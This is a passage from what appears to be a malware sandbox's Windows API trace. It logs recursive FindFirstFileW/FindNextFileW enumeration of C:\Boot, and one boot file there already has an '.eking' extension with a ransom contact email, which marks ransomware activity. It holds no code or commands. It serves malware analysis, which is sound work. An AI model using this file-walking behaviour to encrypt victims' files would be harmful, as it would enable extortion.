lpFindFileData=0x2c3f620*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xde7c2ea0, ftLastAccessTime.dwHighDateTime=0x1d696f3, ftLastWriteTime.dwLowDateTime=0xde7c2ea0, ftLastWriteTime.dwHighDateTime=0x1d696f3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0164.422] FindClose (in: hFindFile=0x71f080 | out: hFindFile=0x71f080) returned 1 [0164.422] GetProcessHeap () returned 0x6a0000 [0164.422] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x70f078 | out: hHeap=0x6a0000) returned 1 [0164.422] FindNextFileW (in: hFindFile=0x6bd3c0, lpFindFileData=0x2c3f8a8 | out: lpFindFileData=0x2c3f8a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6d66840, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x6d66840, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0164.422] GetProcessHeap () returned 0x6a0000 [0164.422] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x710080 [0164.422] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*", lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6d66840, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x6d66840, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x720088 [0164.422] FindNextFileW (in: hFindFile=0x720088, lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6d66840, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x6d66840, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.423] FindNextFileW (in: hFindFile=0x720088, lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x90cd45e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x90cd45e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0164.423] FindNextFileW (in: hFindFile=0x720088, lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x9098e7a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0164.423] FindNextFileW (in: hFindFile=0x720088, lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0164.423] FindNextFileW (in: hFindFile=0x720088, lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0164.423] FindNextFileW (in: hFindFile=0x720088, lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6d66840, ftCreationTime.dwHighDateTime=0x1d696fc, ftLastAccessTime.dwLowDateTime=0x6d66840, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x7d77cc0, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x10102, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="BOOTST~1.EKI")) returned 1 [0164.423] FindNextFileW (in: hFindFile=0x720088, lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0164.423] GetProcessHeap () returned 0x6a0000 [0164.423] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x7210d0 [0164.423] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*", lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6fed68 [0164.427] FindNextFileW (in: hFindFile=0x6fed68, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.427] FindNextFileW (in: hFindFile=0x6fed68, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0164.427] FindNextFileW (in: hFindFile=0x6fed68, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0164.427] FindClose (in: hFindFile=0x6fed68 | out: hFindFile=0x6fed68) returned 1 [0164.427] GetProcessHeap () returned 0x6a0000 [0164.427] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7210d0 | out: hHeap=0x6a0000) returned 1 [0164.428] FindNextFileW (in: hFindFile=0x720088, lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0164.428] GetProcessHeap () returned 0x6a0000 [0164.428] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x7210d0 [0164.429] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\da-DK\\*", lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6fed68 [0164.429] FindNextFileW (in: hFindFile=0x6fed68, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.430] FindNextFileW (in: hFindFile=0x6fed68, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0164.430] FindNextFileW (in: hFindFile=0x6fed68, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0164.430] FindClose (in: hFindFile=0x6fed68 | out: hFindFile=0x6fed68) returned 1 [0164.430] GetProcessHeap () returned 0x6a0000 [0164.430] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7210d0 | out: hHeap=0x6a0000) returned 1 [0164.431] FindNextFileW (in: hFindFile=0x720088, lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0164.431] GetProcessHeap () returned 0x6a0000 [0164.431] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x7210d0 [0164.431] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\de-DE\\*", lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6fed68 [0164.434] FindNextFileW (in: hFindFile=0x6fed68, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.435] FindNextFileW (in: hFindFile=0x6fed68, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0164.435] FindNextFileW (in: hFindFile=0x6fed68, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0164.435] FindClose (in: hFindFile=0x6fed68 | out: hFindFile=0x6fed68) returned 1 [0164.436] GetProcessHeap () returned 0x6a0000 [0164.436] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7210d0 | out: hHeap=0x6a0000) returned 1 [0164.436] FindNextFileW (in: hFindFile=0x720088, lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0164.436] GetProcessHeap () returned 0x6a0000 [0164.436] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x7210d0 [0164.437] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\el-GR\\*", lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6fed68 [0164.437] FindNextFileW (in: hFindFile=0x6fed68, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.438] FindNextFileW (in: hFindFile=0x6fed68, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0164.438] FindNextFileW (in: hFindFile=0x6fed68, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0164.438] FindClose (in: hFindFile=0x6fed68 | out: hFindFile=0x6fed68) returned 1 [0164.438] GetProcessHeap () returned 0x6a0000 [0164.438] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7210d0 | out: hHeap=0x6a0000) returned 1 [0164.439] FindNextFileW (in: hFindFile=0x720088, lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0164.439] GetProcessHeap () returned 0x6a0000 [0164.439] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x7210d0 [0164.439] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*", lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6fed68 [0164.442] FindNextFileW (in: hFindFile=0x6fed68, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.443] FindNextFileW (in: hFindFile=0x6fed68, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0164.443] FindNextFileW (in: hFindFile=0x6fed68, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0164.443] FindNextFileW (in: hFindFile=0x6fed68, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0164.443] FindClose (in: hFindFile=0x6fed68 | out: hFindFile=0x6fed68) returned 1 [0164.443] GetProcessHeap () returned 0x6a0000 [0164.443] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7210d0 | out: hHeap=0x6a0000) returned 1 [0164.444] FindNextFileW (in: hFindFile=0x720088, lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0164.444] GetProcessHeap () returned 0x6a0000 [0164.444] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x7210d0 [0164.444] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-ES\\*", lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6fed68 [0164.447] FindNextFileW (in: hFindFile=0x6fed68, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.447] FindNextFileW (in: hFindFile=0x6fed68, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0164.447] FindNextFileW (in: hFindFile=0x6fed68, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0164.448] FindClose (in: hFindFile=0x6fed68 | out: hFindFile=0x6fed68) returned 1 [0164.448] GetProcessHeap () returned 0x6a0000 [0164.448] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7210d0 | out: hHeap=0x6a0000) returned 1 [0164.448] FindNextFileW (in: hFindFile=0x720088, lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0164.448] GetProcessHeap () returned 0x6a0000 [0164.448] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x7210d0 [0164.449] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fi-FI\\*", lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, 